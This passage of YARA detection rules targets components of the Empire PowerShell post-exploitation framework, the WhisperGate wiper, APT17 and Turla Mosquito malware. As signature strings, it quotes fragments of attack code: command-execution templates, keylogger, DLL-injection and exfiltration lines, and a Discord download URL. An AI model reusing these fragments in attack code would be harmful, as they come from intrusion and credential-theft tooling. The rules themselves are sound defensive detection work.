		( uint16( 0 ) == 0x7566 and filesize < 10KB and 1 of them ) or all of them
}

rule Empire_Invoke_PsExec
{
	meta:
		description = "Detects Empire component - file Invoke-PsExec.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "0218be4323959fc6379489a6a5e030bb9f1de672326e5e5b8844ab5cedfdcf88"
		id = "19aaec3e-3e8f-5d7d-9c70-a212756c0300"

	strings:
		$s1 = "Invoke-PsExecCmd" fullword ascii
		$s2 = "\"[*] Executing service .EXE" fullword ascii
		$s3 = "$cmd = \"%COMSPEC% /C echo $Command ^> %systemroot%\\Temp\\" ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 50KB and 1 of them ) or all of them
}

rule Empire_Invoke_PostExfil
{
	meta:
		description = "Detects Empire component - file Invoke-PostExfil.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "00c0479f83c3dbbeff42f4ab9b71ca5fe8cd5061cb37b7b6861c73c54fd96d3e"
		id = "58d9e057-efde-56ab-9b7e-982342a910e2"

	strings:
		$s1 = "# upload to a specified exfil URI" fullword ascii
		$s2 = "Server path to exfil to." fullword ascii

	condition:
		( uint16( 0 ) == 0x490a and filesize < 2KB and 1 of them ) or all of them
}

rule Empire_Invoke_SMBAutoBrute
{
	meta:
		description = "Detects Empire component - file Invoke-SMBAutoBrute.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "7950f8abdd8ee09ed168137ef5380047d9d767a7172316070acc33b662f812b2"
		id = "a6b402ac-0925-5bc6-9d6a-b2b811496f9e"

	strings:
		$s1 = "[*] PDC: LAB-2008-DC1.lab.com" fullword ascii
		$s2 = "$attempts = Get-UserBadPwdCount $userid $dcs" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 30KB and 1 of them ) or all of them
}

rule Empire_Get_Keystrokes
{
	meta:
		description = "Detects Empire component - file Get-Keystrokes.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "c36e71db39f6852f78df1fa3f67e8c8a188bf951e96500911e9907ee895bf8ad"
		id = "7fb57a0d-6b65-5ee8-96ef-9af303f15007"

	strings:
		$s1 = "$RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 30KB and 1 of them ) or all of them
}

rule Empire_Invoke_DllInjection
{
	meta:
		description = "Detects Empire component - file Invoke-DllInjection.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "304031aa9eca5a83bdf1f654285d86df79cb3bba4aa8fe1eb680bd5b2878ebf0"
		id = "6aa14e8f-9801-5cd3-beb0-955e19d25503"

	strings:
		$s1 = "-Dll evil.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 40KB and 1 of them ) or all of them
}

rule Empire_KeePassConfig
{
	meta:
		description = "Detects Empire component - file KeePassConfig.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "5a76e642357792bb4270114d7cd76ce45ba24b0d741f5c6b916aeebd45cff2b3"
		id = "814a6ff9-a6ac-55e7-bb3f-597351ce421d"

	strings:
		$s1 = "$UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) )" fullword ascii

	condition:
		( uint16( 0 ) == 0x7223 and filesize < 80KB and 1 of them ) or all of them
}

rule Empire_Invoke_SSHCommand
{
	meta:
		description = "Detects Empire component - file Invoke-SSHCommand.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "cbaf086b14d5bb6a756cbda42943d4d7ef97f8277164ce1f7dd0a1843e9aa242"
		id = "b06b507f-b6b8-5f4b-8d6d-920f141e9ac1"

	strings:
		$s1 = "$Base64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAA" ascii
		$s2 = "Invoke-SSHCommand -ip 192.168.1.100 -Username root -Password test -Command \"id\"" fullword ascii
		$s3 = "Write-Verbose \"[*] Error loading dll\"" fullword ascii

	condition:
		( uint16( 0 ) == 0x660a and filesize < 2000KB and 1 of them ) or all of them
}

rule Empire_PowerShell_Framework_Gen1
{
	meta:
		description = "Detects Empire component"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
		hash2 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
		hash3 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
		hash4 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
		hash5 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
		id = "8fdb48a0-5d40-55be-ae23-e9c8c4c2ecea"

	strings:
		$s1 = "Write-BytesToMemory -Bytes $Shellcode" ascii
		$s2 = "$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
}

rule Empire_PowerUp_Gen
{
	meta:
		description = "Detects Empire component - from files PowerUp.ps1, PowerUp.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "ad9a5dff257828ba5f15331d59dd4def3989537b3b6375495d0c08394460268c"
		id = "ae6b0462-7193-54a4-8fb9-befc1b461b15"

	strings:
		$s1 = "$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath" fullword ascii
		$s2 = "$Result = sc.exe pause $($TargetService.Name)" fullword ascii

	condition:
		( uint16( 0 ) == 0x233c and filesize < 2000KB and 1 of them ) or all of them
}

rule Empire_PowerShell_Framework_Gen2
{
	meta:
		description = "Detects Empire component"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
		hash3 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
		hash5 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
		hash6 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
		hash8 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
		id = "eab277ca-0dd4-5035-82aa-1ac2120bac94"

	strings:
		$x1 = "$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)" fullword ascii
		$s20 = "#Shellcode: CallDllMain.asm" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
}

rule Empire_Agent_Gen
{
	meta:
		description = "Detects Empire component - from files agent.ps1, agent.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "380fd09bfbe47d5c8c870c1c97ff6f44982b699b55b61e7c803d3423eb4768db"
		hash2 = "380fd09bfbe47d5c8c870c1c97ff6f44982b699b55b61e7c803d3423eb4768db"
		id = "0fac915c-2502-50da-93d1-f81e9282aa9a"

	strings:
		$s1 = "$wc.Headers.Add(\"User-Agent\",$script:UserAgent)" fullword ascii
		$s2 = "$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)" fullword ascii
		$s3 = "if ($script:AgentDelay -ne 0){" fullword ascii

	condition:
		( uint16( 0 ) == 0x660a and filesize < 100KB and 1 of them ) or all of them
}

rule Empire_PowerShell_Framework_Gen3
{
	meta:
		description = "Detects Empire component"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
		hash2 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
		hash3 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
		hash4 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
		id = "b0f7ed41-be65-5e43-aeb1-56e5e7384e8f"

	strings:
		$s1 = "if (($PEInfo.FileType -ieq \"DLL\") -and ($RemoteProcHandle -eq [IntPtr]::Zero))" fullword ascii
		$s2 = "remote DLL injection" ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
}

rule Empire_Invoke_InveighRelay_Gen
{
	meta:
		description = "Detects Empire component - from files Invoke-InveighRelay.ps1, Invoke-InveighRelay.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash2 = "21b90762150f804485219ad36fa509aeda210d46453307a9761c816040312f41"
		id = "0adebf6f-99e1-5461-8efc-e4660faf6d5d"

	strings:
		$s1 = "$inveigh.SMBRelay_failed_list.Add(\"$HTTP_NTLM_domain_string\\$HTTP_NTLM_user_string $SMBRelayTarget\")" fullword ascii
		$s2 = "$NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 200KB and 1 of them ) or all of them
}

rule Empire_KeePassConfig_Gen
{
	meta:
		description = "Detects Empire component - from files KeePassConfig.ps1, KeePassConfig.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash2 = "5a76e642357792bb4270114d7cd76ce45ba24b0d741f5c6b916aeebd45cff2b3"
		id = "e2bc88c5-50f8-5ddc-a449-41929b1d0528"

	strings:
		$s1 = "$KeePassXML = [xml](Get-Content -Path $KeePassXMLPath)" fullword ascii

	condition:
		( uint16( 0 ) == 0x7223 and filesize < 80KB and 1 of them ) or all of them
}

rule Empire_Invoke_Portscan_Gen
{
	meta:
		description = "Detects Empire component - from files Invoke-Portscan.ps1, Invoke-Portscan.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash2 = "cf7030be01fab47e79e4afc9e0d4857479b06a5f68654717f3bc1bc67a0f38d3"
		id = "c2e01780-02d2-57d1-b38e-5c345ebccad6"

	strings:
		$s1 = "Test-Port -h $h -p $Port -timeout $Timeout" fullword ascii
		$s2 = "1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 100KB and 1 of them ) or all of them
}

rule Empire_PowerShell_Framework_Gen4
{
	meta:
		description = "Detects Empire component"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "743c51334f17751cfd881be84b56f648edbdaf31f8186de88d094892edc644a9"
		hash2 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
		hash3 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
		hash4 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
		hash5 = "304031aa9eca5a83bdf1f654285d86df79cb3bba4aa8fe1eb680bd5b2878ebf0"
		hash6 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
		hash7 = "0218be4323959fc6379489a6a5e030bb9f1de672326e5e5b8844ab5cedfdcf88"
		hash8 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
		hash9 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
		hash10 = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
		id = "c390638a-0eb1-576d-a08c-203c31d414f3"

	strings:
		$s1 = "Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }" fullword ascii
		$s2 = "# Get a handle to the module specified" fullword ascii
		$s3 = "$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))" fullword ascii
		$s4 = "$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
}

rule Empire_Invoke_CredentialInjection_Invoke_Mimikatz_Gen
{
	meta:
		description = "Detects Empire component - from files Invoke-CredentialInjection.ps1, Invoke-Mimikatz.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
		hash2 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
		id = "d938aadf-6924-5964-9b5a-6bd1b817349f"

	strings:
		$s1 = "$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle" fullword ascii
		$s2 = "$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
}

rule Empire_Invoke_Gen
{
	meta:
		description = "Detects Empire component - from files Invoke-DCSync.ps1, Invoke-PSInject.ps1, Invoke-ReflectivePEInjection.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
		hash2 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
		hash3 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
		id = "913f971d-e4e3-55e9-904b-82b25a4e6f0f"

	strings:
		$s1 = "$Shellcode1 += 0x48" fullword ascii
		$s2 = "$PEHandle = [IntPtr]::Zero" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 3000KB and 1 of them ) or all of them
}

rule Empire_PowerShell_Framework_Gen5
{
	meta:
		description = "Detects Empire component"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		super_rule = 1
		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
		hash2 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
		hash3 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
		id = "4c23592e-5788-5b84-995a-028142cbc52f"

	strings:
		$s1 = "if ($ExeArgs -ne $null -and $ExeArgs -ne '')" fullword ascii
		$s2 = "$ExeArgs = \"ReflectiveExe $ExeArgs\"" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 1000KB and 1 of them ) or all of them
}

rule APT_HKTL_Wiper_WhisperGate_Jan22_1
{
	meta:
		description = "Detects unknown wiper malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
		date = "2022-01-16"
		score = 85
		hash1 = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
		id = "f04b619e-1df2-5c51-9cab-4a0fffd1c042"

	strings:
		$xc1 = { 41 41 41 41 41 00 59 6F 75 72 20 68 61 72 64 20
               64 72 69 76 65 20 68 61 73 20 62 65 65 6E 20 63
               6F 72 72 75 70 74 65 64 }
		$op1 = { 89 34 24 e8 3f ff ff ff 50 8d 65 f4 31 c0 59 5e 5f }
		$op2 = { 8d bd e8 df ff ff e8 04 de ff ff b9 00 08 00 00 f3 a5 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 10 03 00 00 00 c7 44 24 0c 00 00 00 00 }
		$op3 = { c7 44 24 0c 00 00 00 00 c7 44 24 08 00 02 00 00 89 44 24 04 e8 aa fe ff ff 83 ec 14 89 34 24 e8 3f ff ff ff 50 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 2 of them ) or all of them
}

rule APT_HKTL_Wiper_WhisperGate_Jan22_2
{
	meta:
		description = "Detects unknown wiper malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
		date = "2022-01-16"
		score = 90
		hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
		id = "822e5af5-9c51-5be3-94f1-7e0a714743e6"

	strings:
		$sc1 = { 70 00 6F 00 77 00 65 00 72 00 73 00 68 00 65 00
               6C 00 6C 00 00 27 2D 00 65 00 6E 00 63 00 20 00
               55 00 77 00 42 00 30 00 41 00 47 00 45 00 41 00
               63 00 67 00 42 00 30 00 41 00 43 }
		$sc2 = { 59 00 6C 00 66 00 77 00 64 00 77 00 67 00 6D 00
               70 00 69 00 6C 00 7A 00 79 00 61 00 70 00 68 }
		$s1 = "xownxloxadDxatxxax" wide
		$s2 = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==" wide
		$s3 = "https://cdn.discordapp.com/attachments/" wide
		$s4 = "fffxfff.fff" ascii fullword
		$op1 = { 20 6b 85 b9 03 20 14 19 91 52 61 65 20 e1 ae f1 }
		$op2 = { aa ae 74 20 d9 7c 71 04 59 20 71 cc 13 91 61 20 97 3c 2a c0 }
		$op3 = { 38 9c f3 ff ff 20 f2 96 4d e9 20 5d ae d9 ce 58 20 4f 45 27 }
		$op4 = { d4 67 d4 61 80 1c 00 00 04 38 35 02 00 00 20 27 c0 db 56 65 20 3d eb 24 de 61 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 5 of them or 7 of them
}

rule APT_HKTL_Wiper_WhisperGate_Stage3_Jan22
{
	meta:
		description = "Detects reversed stage3 related to Ukrainian wiper malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
		date = "2022-01-16"
		hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
		id = "d5d562cd-03ef-5450-8044-3f538cea32d0"

	strings:
		$xc1 = { 65 31 63 70 00 31 79 72 61 72 62 69 4c 73 73 61 6c 43 00 6e 69 61 4d }
		$s1 = "lld." wide

	condition:
		uint16( filesize - 2 ) == 0x4d5a and filesize < 5000KB and all of them
}

rule MAL_OBFUSC_Unknown_Jan22_1
{
	meta:
		description = "Detects samples similar to reversed stage3 found in Ukrainian wiper incident named WhisperGate"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/juanandres_gs/status/1482827018404257792"
		date = "2022-01-16"
		hash1 = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
		id = "647c0092-b03d-5627-8568-ddaa982c73a1"

	strings:
		$xc1 = { 37 00 63 00 38 00 63 00 62 00 35 00 35 00 39 00
               38 00 65 00 37 00 32 00 34 00 64 00 33 00 34 00
               33 00 38 00 34 00 63 00 63 00 65 00 37 00 34 00
               30 00 32 00 62 00 31 00 31 00 66 00 30 00 65 }
		$xc2 = { 4D 61 69 6E 00 43 6C 61 73 73 4C 69 62 72 61 72
               79 31 00 70 63 31 65 }
		$s1 = ".dll" wide
		$s2 = "%&%,%s%" ascii fullword
		$op1 = { a2 87 fa b1 44 a5 f5 12 da a7 49 11 5c 8c 26 d4 75 }
		$op2 = { d7 af 52 38 c7 47 95 c8 0e 88 f3 d5 0b }
		$op3 = { 6c 05 df d6 b8 ac 11 f2 67 16 cb b7 34 4d b6 91 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 3 of them )
}

rule MAL_Unknown_Discord_Characteristics_Jan22_1
{
	meta:
		description = "Detects unknown malware with a few indicators also found in Wiper malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"
		date = "2022-01-16"
		score = 75
		hash1 = "dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78"
		id = "23ee5319-6a72-517b-8ea0-55063b6b862c"

	strings:
		$x1 = "xownxloxadDxatxxax" wide
		$s2 = "https://cdn.discordapp.com/attachments/" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule APT17_Sample_FXSST_DLL
{
	meta:
		description = "Detects Samples related to APT17 activity - file FXSST.DLL"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/ZiJyQv"
		date = "2015-05-14"
		hash = "52f1add5ad28dc30f68afda5d41b354533d8bce3"
		id = "e4b9b25e-8895-5ba5-b706-bfb6892c16ae"

	strings:
		$x1 = "Microsoft? Windows? Operating System" fullword wide
		$x2 = "fxsst.dll" fullword ascii
		$y1 = "DllRegisterServer" fullword ascii
		$y2 = ".cSV" fullword ascii
		$s1 = "GetLastActivePopup"
		$s2 = "Sleep"
		$s3 = "GetModuleFileName"
		$s4 = "VirtualProtect"
		$s5 = "HeapAlloc"
		$s6 = "GetProcessHeap"
		$s7 = "GetCommandLine"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and ( all of ( $x* ) or all of ( $y* ) ) and all of ( $s* )
}

import "pe"

rule TurlaMosquito_Mal_1
{
	meta:
		description = "Detects malware sample from Turla Mosquito report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
		date = "2018-02-22"
		hash1 = "b295032919143f5b6b3c87ad22bcf8b55ecc9244aa9f6f88fc28f36f5aa2925e"
		id = "1395509a-72f5-56c0-895c-3e9f15829de1"

	strings:
		$s1 = "Pipetp" fullword ascii
		$s2 = "EStOpnabn" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( pe.imphash ( ) == "169d4237c79549303cca870592278f42" or all of them )
}

import "pe"

rule TurlaMosquito_Mal_2
{
	meta:
		description = "Detects malware sample from Turla Mosquito report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
		date = "2018-02-22"
		hash1 = "68c6e9dea81f082601ae5afc41870cea3f71b22bfc19bcfbc61d84786e481cb4"
		hash2 = "05254971fe3e1ca448844f8cfcfb2b0de27e48abd45ea2a3df897074a419a3f4"
		id = "d23d9fe1-26e3-5012-8a88-61ebbc3fbd8f"

	strings:
		$s1 = ".?AVFileNameParseException@ExecuteFile@@" fullword ascii
		$s3 = "no_address" fullword wide
		$s6 = "SRRRQP" fullword ascii
		$s7 = "QWVPQQ" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "cd918073f209c5da7a16b6c125d73746" or all of them )
}

import "pe"

rule TurlaMosquito_Mal_3
{
	meta:
		description = "Detects malware sample from Turla Mosquito report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
		date = "2018-02-22"
		hash1 = "443cd03b37fca8a5df1bbaa6320649b441ca50d1c1fcc4f5a7b94b95040c73d1"
		id = "c83e0a93-3f8d-572d-ac1a-92fef0b3d3f6"

	strings:
		$x1 = "InstructionerDLL.dll" fullword ascii
		$s1 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" fullword wide
		$s2 = "/scripts/m/query.php?id=" fullword wide
		$s3 = "SELECT * FROM AntiVirusProduct" fullword ascii
		$s4 = "Microsoft Update" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( pe.imphash ( ) == "88488fe0b8bcd6e379dea6433bb5d7d8" or ( pe.exports ( "InstallRoutineW" ) and pe.exports ( "StartRoutine" ) ) or $x1 or 3 of them )
}

import "pe"

rule TurlaMosquito_Mal_4
{
	meta:
		description = "Detects malware sample from Turla Mosquito report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
		date = "2018-02-22"
		hash1 = "b362b235539b762734a1833c7e6c366c1b46474f05dc17b3a631b3bff95a5eec"
		id = "1d5c32b3-0316-525c-9386-222917144251"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and pe.imphash ( ) == "17b328245e2874a76c2f46f9a92c3bad"
}

import "pe"

rule TurlaMosquito_Mal_5
{
	meta:
		description = "Detects malware sample from Turla Mosquito report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
		date = "2018-02-22"
		hash1 = "26a1a42bc74e14887616f9d6048c17b1b4231466716a6426e7162426e1a08030"
		id = "9f3a35c9-b0f0-5ca6-8b34-19e2d45305f2"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and pe.imphash ( ) == "ac40cf7479f53a4754ac6481a4f24e57"
}

rule TurlaMosquito_Mal_6
{
	meta:
		description = "Detects malware sample from Turla Mosquito report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
		date = "2018-02-22"
		hash1 = "b79cdf929d4a340bdd5f29b3aeccd3c65e39540d4529b64e50ebeacd9cdee5e9"
		id = "1c320b60-ec7a-5f87-b871-f55924351f8f"

	strings:
		$a1 = "/scripts/m/query.php?id=" fullword wide
		$a2 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" fullword wide
		$a3 = "GetUserNameW fails" fullword wide
		$s1 = "QVSWQQ" fullword ascii
		$s2 = "SRRRQP" fullword ascii
		$s3 = "QSVVQQ" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 2 of ( $a* ) or 4 of them )
}

import "pe"

rule APT_TurlaMosquito_MAL_Oct22_1
{
	meta:
		description = "Detects Turla Mosquito malware"
